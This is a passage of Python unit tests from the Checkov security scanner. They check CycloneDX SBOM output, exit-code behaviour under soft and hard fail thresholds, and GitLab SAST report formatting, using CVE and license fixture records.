"acme/example" report = Runner().run(root_folder="", files=[str(test_file)]) mocker.patch.dict(os.environ, {"CHECKOV_CYCLONEDX_SCHEMA_VERSION": "1.3"}) # when cyclonedx = CycloneDX(repo_id=repo_id, reports=[report]) output = cyclonedx.get_xml_output() # then assert len(cyclonedx.bom.components) == 1 assert len(cyclonedx.bom.vulnerabilities) == 6 assert "http://cyclonedx.org/schema/bom/1.3" in output def test_create_library_component_maven_package() -> None: # given cyclone = CycloneDX([Report(CheckType.SCA_IMAGE)], repo_id="12345") package = {"name": 'org.bouncycastle_bcpkix-jdk15on', "version": '1.69.00'} rootless_file_path = "Dockerfile" resource = ExtraResource( file_abs_path="/path/to/Dockerfile", file_path=rootless_file_path, resource=f"{rootless_file_path}.{package['name']}", vulnerability_details={ "package_name": package["name"], "package_version": package["version"], "licenses": "Unknown", "package_type": 'jar', }, ) component = cyclone.create_library_component(resource, CheckType.SCA_IMAGE) assert component.purl.name == 'bcpkix-jdk15on' assert component.purl.version == '1.69.00' assert component.purl.namespace == '12345/Dockerfile/org.bouncycastle' def test_create_library_component_maven_package_without_group_name() -> None: # given cyclone = CycloneDX([Report(CheckType.SCA_IMAGE)], repo_id="12345") package = {"name": 'bcpkix-jdk15on', "version": '1.69.00'} rootless_file_path = "Dockerfile" resource = ExtraResource( file_abs_path="/path/to/Dockerfile", file_path=rootless_file_path, resource=f"{rootless_file_path}.{package['name']}", file_line_range=[2, 5], vulnerability_details={ "package_name": package["name"], "package_version": package["version"], "licenses": "Unknown", "package_type": 'jar' }, ) component = cyclone.create_library_component(resource, CheckType.SCA_IMAGE) assert component.purl.name == 'bcpkix-jdk15on' assert component.purl.version == '1.69.00' assert component.purl.namespace == '12345/Dockerfile' assert component.properties[0].name == 'endLine' assert component.properties[0].value == '5' assert component.properties[1].name == 'startLine' assert component.properties[1].value == '2' resource2 = ExtraResource( file_abs_path="/path/to/package.json", file_path='package.json', resource=f"package.json.{package['name']}", file_line_range=[0, 0], vulnerability_details={ "package_name": package["name"], "package_version": package["version"], "licenses": "Unknown", "package_type": 'jar' }, ) component2 = cyclone.create_library_component(resource2, CheckType.SCA_PACKAGE) assert component2.properties.key is None def test_create_json_output(): # given test_file = Path(__file__).parent / "fixtures/main.tf" repo_id = "acme/example" report = Runner().run(root_folder="", files=[str(test_file)]) # when cyclonedx = CycloneDX(repo_id=repo_id, reports=[report]) output = json.loads(cyclonedx.get_json_output()) # then assert output["$schema"] == "http://cyclonedx.org/schema/bom-1.4.schema.json" assert len(output["components"]) == 1 assert len(output["dependencies"]) == 1 assert len(output["vulnerabilities"]) == 6 ================================================ FILE: tests/common/output/test_get_exit_code.py ================================================ import argparse import os import unittest from unittest import mock from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.code_categories import CodeCategoryType, CodeCategoryConfiguration from checkov.common.bridgecrew.integration_features.features.repo_config_integration import \ integration as repo_config_integration from checkov.common.bridgecrew.severities import BcSeverities, Severities from checkov.common.models.enums import CheckResult from checkov.common.output.report import Report from checkov.common.output.record import Record from checkov.common.runners.runner_registry import RunnerRegistry from checkov.common.typing import _ScaExitCodeThresholds from checkov.common.util.consts import PARSE_ERROR_FAIL_FLAG from checkov.runner_filter import RunnerFilter # for convenience OFF = Severities[BcSeverities.OFF] LOW = Severities[BcSeverities.LOW] MEDIUM = Severities[BcSeverities.MEDIUM] HIGH = Severities[BcSeverities.HIGH] CRITICAL = Severities[BcSeverities.CRITICAL] class TestGetExitCode(unittest.TestCase): def test_sca_get_exit_code(self): report = Report('sca_package') report.add_record(Record( bc_check_id='BC_CVE_2022_123', check_id='BC_VUL_2', check_result={"result": CheckResult.FAILED}, severity=Severities[BcSeverities.LOW], file_path='/requirements.txt', resource='/requirements.txt.protobuf', check_name='SCA package scan', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_CVE_2022_456', check_id='BC_VUL_2', check_result={"result": CheckResult.FAILED}, severity=Severities[BcSeverities.HIGH], file_path='/requirements.txt', resource='/requirements.txt.protobuf', check_name='SCA package scan', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_CVE_2023_123', check_id='BC_VUL_2', check_result={"result": CheckResult.PASSED}, severity=Severities[BcSeverities.LOW], file_path='/requirements.txt', resource='/requirements.txt.click', check_name='SCA package scan', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_CVE_2023_456', check_id='BC_VUL_2', check_result={"result": CheckResult.PASSED}, severity=Severities[BcSeverities.HIGH], file_path='/requirements.txt', resource='/requirements.txt.click', check_name='SCA package scan', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_LIC_1', check_id='BC_LIC_1', check_result={"result": CheckResult.FAILED}, severity=Severities[BcSeverities.MEDIUM], file_path='/requirements.txt', resource='requirements.txt.django', check_name='SCA license', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_LIC_2', check_id='BC_LIC_2', check_result={"result": CheckResult.FAILED}, severity=Severities[BcSeverities.LOW], file_path='/requirements.txt', resource='requirements.txt.django', check_name='SCA license', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_LIC_1', check_id='BC_LIC_1', check_result={"result": CheckResult.PASSED}, severity=Severities[BcSeverities.MEDIUM], file_path='/requirements.txt', resource='requirements.txt.mysqlclient', check_name='SCA license', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) report.add_record(Record( bc_check_id='BC_LIC_2', check_id='BC_LIC_2', check_result={"result": CheckResult.PASSED}, severity=Severities[BcSeverities.LOW], file_path='/requirements.txt', resource='requirements.txt.mysqlclient', check_name='SCA license', code_block=[], file_line_range=[], evaluations=None, check_class='checkov.sca_package_2.scanner.Scanner', file_abs_path='/requirements.txt' )) def reset_fail_thresholds() -> _ScaExitCodeThresholds: return { 'LICENSES': { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None, }, 'VULNERABILITIES': { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None, } } def set_key_in_both(key, value): thresholds['LICENSES'][key] = value thresholds['VULNERABILITIES'][key] = value thresholds = reset_fail_thresholds() # empty report self.assertEqual(Report('sca_package').get_exit_code(thresholds), 0) # test plain old soft fail self.assertEqual(report.get_exit_code(thresholds), 1) thresholds['VULNERABILITIES']['soft_fail'] = True self.assertEqual(report.get_exit_code(thresholds), 1) thresholds['LICENSES']['soft_fail'] = True self.assertEqual(report.get_exit_code(thresholds), 0) thresholds = reset_fail_thresholds() # soft fail via --hard-fail-on OFF (or enforcement rules) thresholds['VULNERABILITIES']['hard_fail_threshold'] = OFF self.assertEqual(report.get_exit_code(thresholds), 1) thresholds['LICENSES']['hard_fail_threshold'] = OFF self.assertEqual(report.get_exit_code(thresholds), 0) thresholds = reset_fail_thresholds() # we can use BC_VUL_2 or list CVEs - this is easier # soft fail and hard fail check lists are not specified by framework, so we combine them set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2']) self.assertEqual(report.get_exit_code(thresholds), 1) # vuln causes failure set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2', 'BC_CVE_2022_123']) self.assertEqual(report.get_exit_code(thresholds), 1) # one vuln still causes failure set_key_in_both('soft_fail_checks', ['BC_VUL_2']) self.assertEqual(report.get_exit_code(thresholds), 1) # license causes failure set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1']) self.assertEqual(report.get_exit_code(thresholds), 1) # one license still causes failure set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1', 'BC_LIC_2']) self.assertEqual(report.get_exit_code(thresholds), 0) thresholds = reset_fail_thresholds() set_key_in_both('soft_fail_checks', ['BC_LIC_1', 'BC_LIC_2', 'BC_CVE_2022_456']) set_key_in_both('soft_fail_threshold', MEDIUM) # filters out the low self.assertEqual(report.get_exit_code(thresholds), 0) set_key_in_both('soft_fail_checks', ['BC_VUL_2', 'BC_LIC_1']) set_key_in_both('soft_fail_threshold', MEDIUM) # filters out the low BC_LIC_2 self.assertEqual(report.get_exit_code(thresholds), 0) thresholds = reset_fail_thresholds() set_key_in_both('soft_fail_threshold', CRITICAL) self.assertEqual(report.get_exit_code(thresholds), 0) set_key_in_both('soft_fail_threshold', MEDIUM) self.assertEqual(report.get_exit_code(thresholds), 1) thresholds = reset_fail_thresholds() set_key_in_both('hard_fail_checks', ['BC_CVE_2023_123']) # passing self.assertEqual(report.get_exit_code(thresholds), 0) set_key_in_both('hard_fail_checks', ['BC_LIC_1']) self.assertEqual(report.get_exit_code(thresholds), 1) set_key_in_both('hard_fail_checks', ['BC_CVE_2022_123']) # failing self.assertEqual(report.get_exit_code(thresholds), 1) thresholds = reset_fail_thresholds() thresholds['VULNERABILITIES']['hard_fail_threshold'] = HIGH thresholds['LICENSES']['hard_fail_threshold'] = MEDIUM self.assertEqual(report.get_exit_code(thresholds), 1) # both hard fail thresholds['LICENSES']['hard_fail_threshold'] = HIGH self.assertEqual(report.get_exit_code(thresholds), 1) # vuln still hard fail thresholds['VULNERABILITIES']['hard_fail_threshold'] = CRITICAL thresholds['LICENSES']['hard_fail_threshold'] = MEDIUM self.assertEqual(report.get_exit_code(thresholds), 1) # license still hard fail thresholds['LICENSES']['hard_fail_threshold'] = HIGH self.assertEqual(report.get_exit_code(thresholds), 0) thresholds = reset_fail_thresholds() set_key_in_both('soft_fail_threshold', CRITICAL) set_key_in_both('hard_fail_checks', ['BC_CVE_2022_123']) self.assertEqual(report.get_exit_code(thresholds), 1) # hard fail because it was explicitly listed thresholds['VULNERABILITIES']['soft_fail'] = True self.assertEqual(report.get_exit_code(thresholds), 1) # hard fail because it was explicitly listed thresholds = reset_fail_thresholds() set_key_in_both('soft_fail_threshold', CRITICAL) set_key_in_both('hard_fail_checks', ['BC_LIC_1']) self.assertEqual(report.get_exit_code(thresholds), 1) # hard fail because it was explicitly listed thresholds['LICENSES']['soft_fail'] = True self.assertEqual(report.get_exit_code(thresholds), 1) # hard fail because it was explicitly listed def test_get_exit_code(self): record1 = Record(check_id='CKV_AWS_157', bc_check_id='BC_AWS_157', check_name="Some RDS check", check_result={"result": CheckResult.FAILED}, code_block=None, file_path="./rds.tf", file_line_range='1:3', resource='aws_db_instance.sample', evaluations=None, check_class=None, file_abs_path=',.', severity=Severities[BcSeverities.LOW], entity_tags={ 'tag1': 'value1' }) record2 = Record(check_id='CKV_AWS_16', bc_check_id='BC_AWS_16', check_name="Another RDS check", check_result={"result": CheckResult.FAILED}, code_block=None, file_path="./rds.tf", file_line_range='1:3', resource='aws_db_instance.sample', evaluations=None, check_class=None, file_abs_path=',.', severity=Severities[BcSeverities.HIGH], entity_tags={ 'tag1': 'value1' }) record3 = Record(check_id='CKV_AWS_161', bc_check_id='BC_AWS_161', check_name="Another RDS check", check_result={"result": CheckResult.PASSED}, code_block=None, file_path="./rds.tf", file_line_range='1:3', resource='aws_db_instance.sample', evaluations=None, check_class=None, file_abs_path=',.', severity=Severities[BcSeverities.LOW], entity_tags={ 'tag1': 'value1' }) record4 = Record(check_id='CKV_AWS_118', bc_check_id='BC_AWS_118', check_name="Another RDS check", check_result={"result": CheckResult.PASSED}, code_block=None, file_path="./rds.tf", file_line_range='1:3', resource='aws_db_instance.sample', evaluations=None, check_class=None, file_abs_path=',.', severity=Severities[BcSeverities.HIGH], entity_tags={ 'tag1': 'value1' }) r = Report("terraform") r.add_record(record1) r.add_record(record2) r.add_record(record3) r.add_record(record4) # When soft_fail=True, the exit code should always be 0 if there are no other soft/hard fail exceptions. test_default = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) test_soft_fail = r.get_exit_code({'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) test_hard_fail_off = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': OFF}) # When soft_fail_on=['check1', 'check2'], exit code should be 0 if the only failing checks are in the soft_fail_on list positive_test_soft_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_157', 'CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) positive_test_soft_fail_on_code_one_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': LOW, 'hard_fail_checks': [], 'hard_fail_threshold': None}) positive_test_soft_fail_on_code_thresh = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': HIGH, 'hard_fail_checks': [], 'hard_fail_threshold': None}) positive_test_soft_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS_157', 'BC_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) negative_test_soft_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_157'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) negative_test_soft_fail_on_code_thresh = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': LOW, 'hard_fail_checks': [], 'hard_fail_threshold': None}) negative_test_soft_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS_157'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) positive_test_soft_fail_on_wildcard_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) positive_test_soft_fail_on_wildcard_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_AWS*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) negative_test_soft_fail_on_wildcard_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_OTHER*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) negative_test_soft_fail_on_wildcard_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['BC_OTHER*'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None}) # When hard_fail_on=['check1', 'check2'], exit code should be 1 if any checks in the hard_fail_on list fail positive_test_hard_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['CKV_AWS_157'], 'hard_fail_threshold': None}) positive_test_hard_fail_on_code_one_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': LOW}) positive_test_hard_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['BC_AWS_157'], 'hard_fail_threshold': None}) negative_test_hard_fail_on_code = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['CKV_AWS_161', 'CKV_AWS_118'], 'hard_fail_threshold': None}) negative_test_hard_fail_on_code_bc_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': ['BC_AWS_161', 'BC_AWS_118'], 'hard_fail_threshold': None}) combined_test_soft_fail_sev_hard_fail_id = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': LOW, 'hard_fail_checks': ['CKV_AWS_157'], 'hard_fail_threshold': None}) combined_test_soft_fail_id_hard_fail_sev = r.get_exit_code({'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': HIGH}) combined_test_soft_fail_id_hard_fail_sev_fail = r.get_exit_code({'soft_fail': True, 'soft_fail_checks': ['CKV_AWS_16'], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': HIGH}) self.assertEqual(test_default, 1) self.assertEqual(test_soft_fail, 0) self.assertEqual(test_hard_fail_off, 0) self.assertEqual(positive_test_soft_fail_on_code, 0) self.assertEqual(positive_test_soft_fail_on_code_one_sev, 0) self.assertEqual(positive_test_soft_fail_on_code_thresh, 0) self.assertEqual(positive_test_soft_fail_on_code_bc_id, 0) self.assertEqual(negative_test_soft_fail_on_code, 1) self.assertEqual(negative_test_soft_fail_on_code_thresh, 1) self.assertEqual(negative_test_soft_fail_on_code_bc_id, 1) self.assertEqual(positive_test_soft_fail_on_wildcard_code, 0) self.assertEqual(positive_test_soft_fail_on_wildcard_code_bc_id, 0) self.assertEqual(negative_test_soft_fail_on_wildcard_code, 1) self.assertEqual(negative_test_soft_fail_on_wildcard_code_bc_id, 1) self.assertEqual(positive_test_hard_fail_on_code, 1) self.assertEqual(positive_test_hard_fail_on_code_one_sev, 1) self.assertEqual(positive_test_hard_fail_on_code_bc_id, 1) self.assertEqual(negative_test_hard_fail_on_code, 0) self.assertEqual(negative_test_hard_fail_on_code_bc_id, 0) self.assertEqual(combined_test_soft_fail_sev_hard_fail_id, 1) self.assertEqual(combined_test_soft_fail_id_hard_fail_sev, 1) self.assertEqual(combined_test_soft_fail_id_hard_fail_sev_fail, 0) with mock.patch.dict(os.environ, {PARSE_ERROR_FAIL_FLAG: "true"}): r.add_parsing_error("some_file.tf") self.assertEqual( r.get_exit_code( { "soft_fail": False, "soft_fail_checks": [], "soft_fail_threshold": None, "hard_fail_checks": [], "hard_fail_threshold": None, } ), 1, ) def test_get_fail_thresholds_enforcement_rules(self): old_configs = repo_config_integration.code_category_configs repo_config_integration.code_category_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.MEDIUM], Severities[BcSeverities.CRITICAL]) } config = argparse.Namespace( use_enforcement_rules=True, soft_fail=False, soft_fail_on=None, hard_fail_on=None ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': Severities[BcSeverities.CRITICAL] } # the soft-fail threshold is None because we will just let it be implicit based off hard fail (this is how enforcement rules works) self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=True, soft_fail=True, soft_fail_on=None, hard_fail_on=None ) expected = { 'soft_fail': True, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': None # soft fail ignores enforcement rules } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=True, soft_fail=False, soft_fail_on=['MEDIUM'], hard_fail_on=None ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': Severities[BcSeverities.MEDIUM], 'hard_fail_checks': [], 'hard_fail_threshold': None } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=True, soft_fail=False, soft_fail_on=['MEDIUM'], hard_fail_on=['HIGH'] ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': Severities[BcSeverities.MEDIUM], 'hard_fail_checks': [], 'hard_fail_threshold': Severities[BcSeverities.HIGH] } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=True, soft_fail=False, soft_fail_on=['CKV_AWS_123'], hard_fail_on=['CKV_AWS_789'] ) expected = { 'soft_fail': False, 'soft_fail_checks': ['CKV_AWS_123'], 'soft_fail_threshold': None, 'hard_fail_checks': ['CKV_AWS_789'], 'hard_fail_threshold': Severities[BcSeverities.CRITICAL] } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) repo_config_integration.code_category_configs = { CodeCategoryType.IAC: CodeCategoryConfiguration(CodeCategoryType.IAC, Severities[BcSeverities.LOW], Severities[BcSeverities.OFF]) } config = argparse.Namespace( use_enforcement_rules=True, soft_fail=False, soft_fail_on=None, hard_fail_on=None ) expected = { 'soft_fail': True, # set as a global soft fail 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': Severities[BcSeverities.OFF] } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) repo_config_integration.code_category_configs = old_configs def test_get_fail_thresholds_plain(self): config = argparse.Namespace( use_enforcement_rules=False, soft_fail=True, soft_fail_on=['MEDIUM', 'CKV_AWS_123'], hard_fail_on=['HIGH', 'CKV_AWS_789'] ) expected = { 'soft_fail': True, 'soft_fail_checks': ['CKV_AWS_123'], 'soft_fail_threshold': Severities[BcSeverities.MEDIUM], 'hard_fail_checks': ['CKV_AWS_789'], 'hard_fail_threshold': Severities[BcSeverities.HIGH] } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=False, soft_fail=False, soft_fail_on=['LOW,HIGH'], hard_fail_on=[] ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': Severities[BcSeverities.HIGH], # take the higher severity 'hard_fail_checks': [], 'hard_fail_threshold': None } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=False, soft_fail=False, soft_fail_on=[], hard_fail_on=['LOW,HIGH'] ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': Severities[BcSeverities.LOW] # take the lower severity } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=False, soft_fail=False, soft_fail_on=['low'], # case insensitive hard_fail_on=[] ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': Severities[BcSeverities.LOW], 'hard_fail_checks': [], 'hard_fail_threshold': None } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) config = argparse.Namespace( use_enforcement_rules=False, soft_fail=False, soft_fail_on=[], hard_fail_on=['low'] # case insensitive ) expected = { 'soft_fail': False, 'soft_fail_checks': [], 'soft_fail_threshold': None, 'hard_fail_checks': [], 'hard_fail_threshold': Severities[BcSeverities.LOW] } self.assertEqual(RunnerRegistry.get_fail_thresholds(config, report_type=CheckType.TERRAFORM), expected) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/output/test_gitlab_sast_report.py ================================================ from operator import itemgetter from pathlib import Path from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.gitlab_sast import GitLabSast from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.sca.output import create_report_cve_record, _add_to_report_licenses_statuses from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner def test_iac_output(): # given test_file = Path(__file__).parent / "fixtures/main.tf" report = Runner().run( root_folder="", files=[str(test_file)], runner_filter=RunnerFilter(checks=["CKV2_AWS_6", "CKV_AWS_18"]) ) # when gitlab_sast = GitLabSast(reports=[report]) output = gitlab_sast.sast_json # then assert ( output["schema"] == "https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/raw/v15.0.4/dist/sast-report-format.json" ) assert output["version"] == "15.0.4" # remove dynamic data del output["scan"]["start_time"] del output["scan"]["end_time"] del output["scan"]["analyzer"]["version"] assert output["scan"] == { "analyzer": { "id": "checkov", "name": "Checkov", "url": "https://www.checkov.io/", "vendor": {"name": "Bridgecrew"}, }, "scanner": { "id": "checkov", "name": "Checkov", "url": "https://www.checkov.io/", "vendor": {"name": "Bridgecrew"}, }, "status": "success", "type": "sast", } # remove dynamic data for vul in output["vulnerabilities"]: del vul["id"] del vul["solution"] del vul["description"] del vul["location"]["file"] if "links" in vul: del vul["links"] for ident in vul["identifiers"]: del ident["url"] assert sorted(output["vulnerabilities"], key=itemgetter("name")) == sorted( [ { "identifiers": [{"name": "CKV2_AWS_6", "type": "checkov", "value": "CKV2_AWS_6"}], "location": {"start_line": 1, "end_line": 8}, "name": "Ensure that S3 bucket has a Public Access block", "severity": "Unknown", }, { "identifiers": [{"name": "CKV_AWS_18", "type": "checkov", "value": "CKV_AWS_18"}], "location": {"start_line": 1, "end_line": 8}, "name": "Ensure the S3 bucket has access logging enabled", "severity": "Unknown", }, ], key=itemgetter("name"), ) def test_sca_package_output(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" vulnerability_details = { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "moderate", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", } record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package={"package_registry": "https://registry.npmjs.org/", "is_private_registry": False}, ) # also add a BC_VUL_2 record bc_record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=vulnerability_details, licenses="OSI_BDS", package={"package_registry": "https://registry.npmjs.org/", "is_private_registry": False}, ) bc_record.check_id = "BC_VUL_2" report = Report(CheckType.SCA_PACKAGE) report.add_resource(record.resource) report.add_record(record) report.add_record(bc_record) report.extra_resources.add( ExtraResource( file_abs_path=file_abs_path, file_path=f"/{rootless_file_path}", resource=f"{rootless_file_path}.testpkg", vulnerability_details={"package_name": "testpkg", "package_version": "1.1.1", "licenses": "MIT"}, ) ) # when gitlab_sast = GitLabSast(reports=[report]) output = gitlab_sast.sast_json # then # remove dynamic data for vul in output["vulnerabilities"]: del vul["id"] assert output["vulnerabilities"] == [ { "identifiers": [ { "name": "CVE-2019-19844 - django: 1.2", "type": "cve", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "value": "CVE-2019-19844", } ], "links": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844"}], "location": {"file": "path/to/requirements.txt"}, "name": "CVE-2019-19844 - django: 1.2", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "Medium", "solution": "fixed in 3.0.1, 2.2.9, 1.11.27", }, { "identifiers": [ { "name": "CVE-2019-19844 - django: 1.2", "type": "cve", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "value": "CVE-2019-19844", } ], "links": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844"}], "location": {"file": "path/to/requirements.txt"}, "name": "CVE-2019-19844 - django: 1.2", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "Medium", "solution": "fixed in 3.0.1, 2.2.9, 1.11.27", }, ] def test_sca_license_output(): # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" license_statuses = [ { "package_name": "github.com/apparentlymart/go-textseg/v12", "package_version": "v12.0.0", "policy": "BC_LIC_1", "license": "Apache-2.0", "status": "COMPLIANT", }, { "package_name": "docutils", "package_version": "0.15.2", "policy": "BC_LIC_1", "license": "GPL", "status": "OPEN", }, ] sca_details = None report = Report(CheckType.SCA_PACKAGE) _add_to_report_licenses_statuses( report=report, check_class=check_class, scanned_file_path=file_abs_path, rootless_file_path=rootless_file_path, runner_filter=RunnerFilter(), packages_map=dict(), license_statuses=license_statuses, sca_details=sca_details, report_type=report.check_type, ) # when gitlab_sast = GitLabSast(reports=[report]) output = gitlab_sast.sast_json # then # remove dynamic data for vul in output["vulnerabilities"]: del vul["id"] assert output["vulnerabilities"] == [ { "identifiers": [{"name": "BC_LIC_1", "type": "license", "value": "BC_LIC_1"}], "location": {"file": "path/to/requirements.txt"}, "name": "License GPL - docutils: 0.15.2", "description": "Package docutils@0.15.2 has license GPL", } ] def test_create_iac_vulnerability_with_non_url_guideline(): # given # the report doesn't matter for this test, because we pass the record to method directly gitlab_sast = GitLabSast(reports=[]) record = Record( check_id="CKV_AWS_5", check_name="Ensure all data stored in the Elasticsearch is securely encrypted at 